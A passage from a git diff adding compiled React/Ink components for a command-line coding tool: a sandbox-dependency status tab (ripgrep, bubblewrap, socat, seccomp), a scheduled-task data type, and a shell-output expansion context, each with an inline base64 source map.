+    t5 = <Box flexDirection="column" paddingY={1} gap={1}>{t6}{t9}{t10}{otherErrors.map(_temp5)}</Box>;
+    $[7] = bwrapMissing;
+    $[8] = depCheck.errors;
+    $[9] = rgMissing;
+    $[10] = seccompMissing;
+    $[11] = socatMissing;
+    $[12] = t5;
+  } else {
+    t5 = $[12];
+  }
+  return t5;
+}
+function _temp5(err) {
+  return <Text key={err} color="error">{err}</Text>;
+}
+function _temp4(e_2) {
+  return !e_2.includes("ripgrep") && !e_2.includes("bwrap") && !e_2.includes("socat");
+}
+function _temp3(e_1) {
+  return e_1.includes("socat");
+}
+function _temp2(e_0) {
+  return e_0.includes("bwrap");
+}
+function _temp(e) {
+  return e.includes("ripgrep");
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJnZXRQbGF0Zm9ybSIsIlNhbmRib3hEZXBlbmRlbmN5Q2hlY2siLCJQcm9wcyIsImRlcENoZWNrIiwiU2FuZGJveERlcGVuZGVuY2llc1RhYiIsInQwIiwiJCIsIl9jIiwidDEiLCJTeW1ib2wiLCJmb3IiLCJwbGF0Zm9ybSIsImlzTWFjIiwidDIiLCJlcnJvcnMiLCJzb21lIiwiX3RlbXAiLCJyZ01pc3NpbmciLCJ0MyIsIl90ZW1wMiIsImJ3cmFwTWlzc2luZyIsInQ0IiwiX3RlbXAzIiwic29jYXRNaXNzaW5nIiwic2VjY29tcE1pc3NpbmciLCJ3YXJuaW5ncyIsImxlbmd0aCIsInQ1Iiwib3RoZXJFcnJvcnMiLCJmaWx0ZXIiLCJfdGVtcDQiLCJyZ0luc3RhbGxIaW50IiwidDYiLCJ0NyIsInQ4IiwidDkiLCJ0MTAiLCJtYXAiLCJfdGVtcDUiLCJlcnIiLCJlXzIiLCJlIiwiaW5jbHVkZXMiLCJlXzEiLCJlXzAiXSwic291cmNlcyI6WyJTYW5kYm94RGVwZW5kZW5jaWVzVGFiLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBnZXRQbGF0Zm9ybSB9IGZyb20gJy4uLy4uL3V0aWxzL3BsYXRmb3JtLmpzJ1xuaW1wb3J0IHR5cGUgeyBTYW5kYm94RGVwZW5kZW5jeUNoZWNrIH0gZnJvbSAnLi4vLi4vdXRpbHMvc2FuZGJveC9zYW5kYm94LWFkYXB0ZXIuanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIGRlcENoZWNrOiBTYW5kYm94RGVwZW5kZW5jeUNoZWNrXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBTYW5kYm94RGVwZW5kZW5jaWVzVGFiKHsgZGVwQ2hlY2sgfTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBwbGF0Zm9ybSA9IGdldFBsYXRmb3JtKClcbiAgY29uc3QgaXNNYWMgPSBwbGF0Zm9ybSA9PT0gJ21hY29zJ1xuXG4gIC8vIHJpcGdyZXAgaXMgcmVxdWlyZWQgb24gYWxsIHBsYXRmb3JtcyAodXNlZCB0byBzY2FuIGZvciBkYW5nZXJvdXMgZGlycykuXG4gIC8vIE9uIG1hY09TLCBzZWF0YmVsdCBpcyBidWlsdCBpbnRvIHRoZSBPUyDigJQgcmlwZ3JlcCBpcyB0aGUgb25seSBydW50aW1lIGRlcC5cbiAgLy8gT24gTGludXgvV1NMLCBid3JhcCArIHNvY2F0IGFyZSByZXF1aXJlZCwgc2VjY29tcCBpcyBvcHRpb25hbC5cbiAgLy9cbiAgLy8gIzMxODA0OiBwcmV2aW91c2x5IHRoaXMgdGFiIHVuY29uZGl0aW9uYWxseSByZW5kZXJlZCBMaW51eCBkZXBzIChid3JhcCxcbiAgLy8gc29jYXQsIHNlY2NvbXApLiBXaGVuIHJpcGdyZXAgd2FzIG1pc3Npbmcgb24gbWFjT1MsIHVzZXJzIHNhdyBjb25mdXNpbmdcbiAgLy8gTGludXggaW5zdGFsbCBpbnN0cnVjdGlvbnMgYW5kIG5vIG1lbnRpb24gb2YgdGhlIGFjdHVhbCBwcm9ibGVtLlxuICBjb25zdCByZ01pc3NpbmcgPSBkZXBDaGVjay5lcnJvcnMuc29tZShlID0+IGUuaW5jbHVkZXMoJ3JpcGdyZXAnKSlcbiAgY29uc3QgYndyYXBNaXNzaW5nID0gZGVwQ2hlY2suZXJyb3JzLnNvbWUoZSA9PiBlLmluY2x1ZGVzKCdid3JhcCcpKVxuICBjb25zdCBzb2NhdE1pc3NpbmcgPSBkZXBDaGVjay5lcnJvcnMuc29tZShlID0+IGUuaW5jbHVkZXMoJ3NvY2F0JykpXG4gIGNvbnN0IHNlY2NvbXBNaXNzaW5nID0gZGVwQ2hlY2sud2FybmluZ3MubGVuZ3RoID4gMFxuXG4gIC8vIEFueSBlcnJvcnMgd2UgZG9uJ3QgaGF2ZSBhIGRlZGljYXRlZCByb3cgZm9yIOKAlCByZW5kZXIgdmVyYmF0aW0gc28gdGhleVxuICAvLyBhcmVuJ3Qgc2lsZW50bHkgc3dhbGxvd2VkIChlLmcuIFwiVW5zdXBwb3J0ZWQgcGxhdGZvcm1cIiBvciBmdXR1cmUgZGVwcykuXG4gIGNvbnN0IG90aGVyRXJyb3JzID0gZGVwQ2hlY2suZXJyb3JzLmZpbHRlcihcbiAgICBlID0+ICFlLmluY2x1ZGVzKCdyaXBncmVwJykgJiYgIWUuaW5jbHVkZXMoJ2J3cmFwJykgJiYgIWUuaW5jbHVkZXMoJ3NvY2F0JyksXG4gIClcblxuICBjb25zdCByZ0luc3RhbGxIaW50ID0gaXNNYWMgPyAnYnJldyBpbnN0YWxsIHJpcGdyZXAnIDogJ2FwdCBpbnN0YWxsIHJpcGdyZXAnXG5cbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBwYWRkaW5nWT17MX0gZ2FwPXsxfT5cbiAgICAgIHtpc01hYyAmJiAoXG4gICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgc2VhdGJlbHQ6IDxUZXh0IGNvbG9yPVwic3VjY2Vzc1wiPmJ1aWx0LWluIChtYWNPUyk8L1RleHQ+XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICl9XG5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICByaXBncmVwIChyZyk6eycgJ31cbiAgICAgICAgICB7cmdNaXNzaW5nID8gKFxuICAgICAgICAgICAgPFRleHQgY29sb3I9XCJlcnJvclwiPm5vdCBmb3VuZDwvVGV4dD5cbiAgICAgICAgICApIDogKFxuICAgICAgICAgICAgPFRleHQgY29sb3I9XCJzdWNjZXNzXCI+Zm91bmQ8L1RleHQ+XG4gICAgICAgICAgKX1cbiAgICAgICAgPC9UZXh0PlxuICAgICAgICB7cmdNaXNzaW5nICYmIChcbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgIHsnICAnfcK3IHtyZ0luc3RhbGxIaW50fVxuICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgKX1cbiAgICAgIDwvQm94PlxuXG4gICAgICB7IWlzTWFjICYmIChcbiAgICAgICAgPD5cbiAgICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgICBidWJibGV3cmFwIChid3JhcCk6eycgJ31cbiAgICAgICAgICAgICAge2J3cmFwTWlzc2luZyA/IChcbiAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj1cImVycm9yXCI+bm90IGluc3RhbGxlZDwvVGV4dD5cbiAgICAgICAgICAgICAgKSA6IChcbiAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj1cInN1Y2Nlc3NcIj5pbnN0YWxsZWQ8L1RleHQ+XG4gICAgICAgICAgICAgICl9XG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICB7YndyYXBNaXNzaW5nICYmIChcbiAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+eycgICd9wrcgYXB0IGluc3RhbGwgYnViYmxld3JhcDwvVGV4dD5cbiAgICAgICAgICAgICl9XG4gICAgICAgICAgPC9Cb3g+XG5cbiAgICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgICBzb2NhdDp7JyAnfVxuICAgICAgICAgICAgICB7c29jYXRNaXNzaW5nID8gKFxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj5ub3QgaW5zdGFsbGVkPC9UZXh0PlxuICAgICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwic3VjY2Vzc1wiPmluc3RhbGxlZDwvVGV4dD5cbiAgICAgICAgICAgICAgKX1cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgIHtzb2NhdE1pc3NpbmcgJiYgPFRleHQgZGltQ29sb3I+eycgICd9wrcgYXB0IGluc3RhbGwgc29jYXQ8L1RleHQ+fVxuICAgICAgICAgIDwvQm94PlxuXG4gICAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgc2VjY29tcCBmaWx0ZXI6eycgJ31cbiAgICAgICAgICAgICAge3NlY2NvbXBNaXNzaW5nID8gKFxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwid2FybmluZ1wiPm5vdCBpbnN0YWxsZWQ8L1RleHQ+XG4gICAgICAgICAgICAgICkgOiAoXG4gICAgICAgICAgICAgICAgPFRleHQgY29sb3I9XCJzdWNjZXNzXCI+aW5zdGFsbGVkPC9UZXh0PlxuICAgICAgICAgICAgICApfVxuICAgICAgICAgICAgICB7c2VjY29tcE1pc3NpbmcgJiYgKFxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPiAocmVxdWlyZWQgdG8gYmxvY2sgdW5peCBkb21haW4gc29ja2V0cyk8L1RleHQ+XG4gICAgICAgICAgICAgICl9XG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICB7c2VjY29tcE1pc3NpbmcgJiYgKFxuICAgICAgICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgICAgIHsnICAnfcK3IG5wbSBpbnN0YWxsIC1nIEBhbnRocm9waWMtYWkvc2FuZGJveC1ydW50aW1lXG4gICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICAgICAgeycgICd9wrcgb3IgY29weSB2ZW5kb3Ivc2VjY29tcC8qIGZyb20gc2FuZGJveC1ydW50aW1lIGFuZCBzZXRcbiAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICAgICAgICB7JyAgICAnfXNhbmRib3guc2VjY29tcC5icGZQYXRoIGFuZCBhcHBseVBhdGggaW4gc2V0dGluZ3MuanNvblxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgICApfVxuICAgICAgICAgIDwvQm94PlxuICAgICAgICA8Lz5cbiAgICAgICl9XG5cbiAgICAgIHtvdGhlckVycm9ycy5tYXAoZXJyID0+IChcbiAgICAgICAgPFRleHQga2V5PXtlcnJ9IGNvbG9yPVwiZXJyb3JcIj5cbiAgICAgICAgICB7ZXJyfVxuICAgICAgICA8L1RleHQ+XG4gICAgICApKX1cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxNQUFNLE9BQU87QUFDekIsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxTQUFTQyxXQUFXLFFBQVEseUJBQXlCO0FBQ3JELGNBQWNDLHNCQUFzQixRQUFRLHdDQUF3QztBQUVwRixLQUFLQyxLQUFLLEdBQUc7RUFDWEMsUUFBUSxFQUFFRixzQkFBc0I7QUFDbEMsQ0FBQztBQUVELE9BQU8sU0FBQUcsdUJBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBZ0M7SUFBQUo7RUFBQSxJQUFBRSxFQUFtQjtFQUFBLElBQUFHLEVBQUE7RUFBQSxJQUFBRixDQUFBLFFBQUFHLE1BQUEsQ0FBQUMsR0FBQTtJQUN2Q0YsRUFBQSxHQUFBUixXQUFXLENBQUMsQ0FBQztJQUFBTSxDQUFBLE1BQUFFLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFGLENBQUE7RUFBQTtFQUE5QixNQUFBSyxRQUFBLEdBQWlCSCxFQUFhO0VBQzlCLE1BQUFJLEtBQUEsR0FBY0QsUUFBUSxLQUFLLE9BQU87RUFBQSxJQUFBRSxFQUFBO0VBQUEsSUFBQVAsQ0FBQSxRQUFBSCxRQUFBLENBQUFXLE1BQUE7SUFTaEJELEVBQUEsR0FBQVYsUUFBUSxDQUFBVyxNQUFPLENBQUFDLElBQUssQ0FBQ0MsS0FBMEIsQ0FBQztJQUFBVixDQUFBLE1BQUFILFFBQUEsQ0FBQVcsTUFBQTtJQUFBUixDQUFBLE1BQUFPLEVB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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/scheduled-tasks/types.ts b/_all-in-one-upload/cc-haha/src/components/scheduled-tasks/types.ts
new file mode 100644
index 0000000..8f6034a
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/scheduled-tasks/types.ts
@@ -0,0 +1,12 @@
+export type ScheduledTaskWizardData = {
+  name?: string
+  description?: string
+  prompt?: string
+  model?: string
+  permissionMode?: string
+  folder?: string
+  worktree?: boolean
+  frequency?: string
+  scheduledTime?: string
+  cron?: string
+}
diff --git a/_all-in-one-upload/cc-haha/src/components/shell/ExpandShellOutputContext.tsx b/_all-in-one-upload/cc-haha/src/components/shell/ExpandShellOutputContext.tsx
new file mode 100644
index 0000000..2452208
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/shell/ExpandShellOutputContext.tsx
@@ -0,0 +1,36 @@
+import { c as _c } from "react/compiler-runtime";
+import * as React from 'react';
+import { useContext } from 'react';
+
+/**
+ * Context to indicate that shell output should be shown in full (not truncated).
+ * Used to auto-expand the most recent user `!` command output.
+ *
+ * This follows the same pattern as MessageResponseContext and SubAgentContext -
+ * a boolean context that child components can check to modify their behavior.
+ */
+const ExpandShellOutputContext = React.createContext(false);
+export function ExpandShellOutputProvider(t0) {
+  const $ = _c(2);
+  const {
+    children
+  } = t0;
+  let t1;
+  if ($[0] !== children) {
+    t1 = <ExpandShellOutputContext.Provider value={true}>{children}</ExpandShellOutputContext.Provider>;
+    $[0] = children;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+/**
+ * Returns true if this component is rendered inside an ExpandShellOutputProvider,
+ * indicating the shell output should be shown in full rather than truncated.
+ */
+export function useExpandShellOutput() {
+  return useContext(ExpandShellOutputContext);
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZUNvbnRleHQiLCJFeHBhbmRTaGVsbE91dHB1dENvbnRleHQiLCJjcmVhdGVDb250ZXh0IiwiRXhwYW5kU2hlbGxPdXRwdXRQcm92aWRlciIsInQwIiwiJCIsIl9jIiwiY2hpbGRyZW4iLCJ0MSIsInVzZUV4cGFuZFNoZWxsT3V0cHV0Il0sInNvdXJjZXMiOlsiRXhwYW5kU2hlbGxPdXRwdXRDb250ZXh0LnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IHVzZUNvbnRleHQgfSBmcm9tICdyZWFjdCdcblxuLyoqXG4gKiBDb250ZXh0IHRvIGluZGljYXRlIHRoYXQgc2hlbGwgb3V0cHV0IHNob3VsZCBiZSBzaG93biBpbiBmdWxsIChub3QgdHJ1bmNhdGVkKS5cbiAqIFVzZWQgdG8gYXV0by1leHBhbmQgdGhlIG1vc3QgcmVjZW50IHVzZXIgYCFgIGNvbW1hbmQgb3V0cHV0LlxuICpcbiAqIFRoaXMgZm9sbG93cyB0aGUgc2FtZSBwYXR0ZXJuIGFzIE1lc3NhZ2VSZXNwb25zZUNvbnRleHQgYW5kIFN1YkFnZW50Q29udGV4dCAtXG4gKiBhIGJvb2xlYW4gY29udGV4dCB0aGF0IGNoaWxkIGNvbXBvbmVudHMgY2FuIGNoZWNrIHRvIG1vZGlmeSB0aGVpciBiZWhhdmlvci5cbiAqL1xuY29uc3QgRXhwYW5kU2hlbGxPdXRwdXRDb250ZXh0ID0gUmVhY3QuY3JlYXRlQ29udGV4dChmYWxzZSlcblxuZXhwb3J0IGZ1bmN0aW9uIEV4cGFuZFNoZWxsT3V0cHV0UHJvdmlkZXIoe1xuICBjaGlsZHJlbixcbn06IHtcbiAgY2hpbGRyZW46IFJlYWN0LlJlYWN0Tm9kZVxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiAoXG4gICAgPEV4cGFuZFNoZWxsT3V0cHV0Q29udGV4dC5Qcm92aWRlciB2YWx1ZT17dHJ1ZX0+XG4gICAgICB7Y2hpbGRyZW59XG4gICAgPC9FeHBhbmRTaGVsbE91dHB1dENvbnRleHQuUHJvdmlkZXI+XG4gIClcbn1cblxuLyoqXG4gKiBSZXR1cm5zIHRydWUgaWYgdGhpcyBjb21wb25lbnQgaXMgcmVuZGVyZWQgaW5zaWRlIGFuIEV4cGFuZFNoZWx